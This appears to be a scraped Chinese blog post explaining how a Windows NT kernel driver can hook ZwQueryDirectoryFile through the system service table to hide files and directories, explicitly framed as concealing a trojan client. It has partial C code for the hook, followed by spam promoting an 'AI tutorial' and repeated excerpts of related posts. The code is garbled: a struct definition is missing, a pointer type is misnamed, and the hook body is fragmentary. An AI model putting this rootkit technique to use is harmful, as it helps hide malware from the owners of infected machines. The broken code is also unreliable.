驅動攔截NT的API實現隱藏木馬客戶端

2021-08-31 01:35:18 字數 3682 閱讀 7692

分享一下我老師大神的人工智慧教程!零基礎,通俗易懂!

目前nt下有很多種隱藏檔案和目錄的方法,其中最簡單的一種是給檔案和資料夾加上系統屬性和隱藏屬性,作業系統就會不在顯示了,而且查詢也找不到了,但是這種方法一點都不徹底,沒有可用性!下面我們來介紹用nt驅動程式來攔截ntapi來實現徹底隱藏檔案和目錄的目的。nt下有乙個檔案ntdll.dll,大部分ntapi都是在這個庫中封裝的。其中實現查詢檔案和目錄的api介面是zwquerydirectoryfile,所以我們只要攔截這個api的話,檔案和目錄就可以完全隱藏了!下面來一步不實現(準備工作:到ntddk中找乙個wdm驅動程式模型,也就是最簡單的驅動程式了):

1.定義file_information_class的第3號結構:_file_both_dir_information,這個結構是zwquerydirectoryfile必須引數。

typedef struct _file_both_dir_information file_both_dir_information, *pfile_both_dir_information;

2.先申明zwquerydirectoryfile,然後定義zwquerydirectoryfile的原型:

extern ntsysapi ntstatus ntapi zwquerydirectoryfile(

in handle hfile,

in handle hevent optional,

in pio_apc_routine ioapcroutine optional,

in pvoid ioapccontext optional,

out pio_status_block piostatusblock,

out pvoid fileinformationbuffer,

in ulong fileinformationbufferlength,

in file_information_class fileinfoclass,

in boolean breturnonlyoneentry,

in punicode_string pathmask optional,

in boolean brestartquery);

//定義zwquerydirectoryfile的原型

typedef ntstatus (*realzwquerydirectoryfile)(in handle hfile,

in handle hevent optional,

in pio_apc_routine ioapcroutine optional,

in pvoid ioapccontext optional,

out pio_status_block piostatusblock,

out pvoid fileinformationbuffer,

in ulong fileinformationbufferlength,

in file_information_class fileinfoclass,

in boolean breturnonlyoneentry,

in punicode_string pathmask optional,

in boolean brestartquery);

//定義乙個原函式指標

realzwquerysysteminformation realzwquerysysteminformation;

3.定義替換api函式的原型:

ntstatus hookzwquerydirectoryfile(

in handle hfile,

in handle hevent optional,

in pio_apc_routine ioapcroutine optional,

in pvoid ioapccontext optional,

out pio_status_block piostatusblock,

out pvoid fileinformationbuffer,

in ulong fileinformationbufferlength,

in file_information_class fileinfoclass,

in boolean breturnonlyoneentry,

in punicode_string pathmask optional,

in boolean brestartquery);

4.在driverentry(驅動入口)函式中加入如下申明:

//儲存真正的zwquerydirectoryfile函式位址

realzwquerydirectoryfile=(realzwquerydirectoryfile)(systemservice(zwquerydirectoryfile));

//把自定義的替換函式指標指向真正的zwquerydirectoryfile函式

(realzwquerydirectoryfile)(systemservice(zwquerydirectoryfile))=hookzwquerydirectoryfile;

5.在driverunload(驅動解除安裝函式)函式中加入恢復**:

//恢復原來的函式指標

(realzwquerydirectoryfile)(systemservice(zwquerydirectoryfile))=realzwquerydirectoryfile;

6.現在準備工作做好了,函式指標都已經設定轉向了,剩下的是實現這個我們自定義的替換函式hookzwquerydirectoryfile,**如下:

ntstatus hookzwquerydirectoryfile(

in handle hfile,

in handle hevent optional,

in pio_apc_routine ioapcroutine optional,

in pvoid ioapccontext optional,

out pio_status_block piostatusblock,

out pvoid fileinformationbuffer,

in ulong fileinformationbufferlength,

in file_information_class fileinfoclass,

in boolean breturnonlyoneentry,

in punicode_string pathmask optional,

in boolean brestartquery)

else

break;

} else //指標往後移動

}plastfileinfo = pfileinfo;

pfileinfo = (pfile_both_dir_information)((char *)pfileinfo + pfileinfo->nextentryoffset);

}while(!blastone);

rtlfreeansistring(&ansidirname);

rtlfreeansistring(&ansifilename);

}return(rc);

}給我老師的人工智慧教程打call!

驅動攔截NT的API實現隱藏木馬客戶端

目前nt下有很多種隱藏檔案和目錄的方法,其中最簡單的一種是給檔案和資料夾加上系統屬性和隱藏屬性,作業系統就會不在顯示了,而且查詢也找不到了,但是這種方法一點都不徹底,沒有可用性!下面我們來介紹用nt驅動程式來攔截ntapi來實現徹底隱藏檔案和目錄的目的。nt下有乙個檔案ntdll.dll,大部分nt...

編寫驅動攔截NT的API實現隱藏檔案目錄

目前nt下有很多種隱藏檔案和目錄的方法,其中最簡單的一種是給檔案和資料夾加上系統屬性和隱藏屬性,作業系統就會不在顯示了,而且查詢也找不到了,但是這種方法一點都不徹底,沒有可用性!下面我們來介紹用nt驅動 程式來攔截ntapi來實現徹底隱藏檔案和目錄的目的。nt下有乙個檔案ntdll.dll,大部分n...

驅動攔截NT的API實現隱藏木馬客戶端

目前nt下有很多種隱藏檔案和目錄的方法,其中最簡單的一種是給檔案和資料夾加上系統屬性和隱藏屬性,作業系統就會不在顯示了,而且查詢也找不到了,但是這種方法一點都不徹底,沒有可用性!下面我們來介紹用nt驅動程式來攔截ntapi來實現徹底隱藏檔案和目錄的目的。nt下有乙個檔案ntdll.dll,大部分nt...